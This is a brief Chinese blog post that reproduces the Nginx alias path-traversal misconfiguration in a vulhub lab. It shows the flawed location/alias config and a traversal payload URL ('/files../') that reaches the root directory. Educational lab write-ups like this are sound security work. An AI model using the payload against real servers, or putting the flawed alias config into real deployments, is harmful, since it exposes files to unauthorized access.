目录穿越漏洞 -配置错误

漏洞原因

Nginx在配置别名(Alias)的时候,如果忘记加/,将造成一个目录穿越漏洞。

错误的配置文件示例(原本的目的是为了让用户访问到/home/目录下的文件):

location /files {
    alias /home/;
}

 

环境搭建

https://github.com/vulhub/vulhub/tree/master/nginx/insecure-configuration

 

复现

Payload:

http://your-ip:8081/files../ ,成功穿越到根目录:

 

 

 

 

 

 




posted @ 2020-04-18 14:29  Null1433  阅读(354)  评论(0编辑  收藏  举报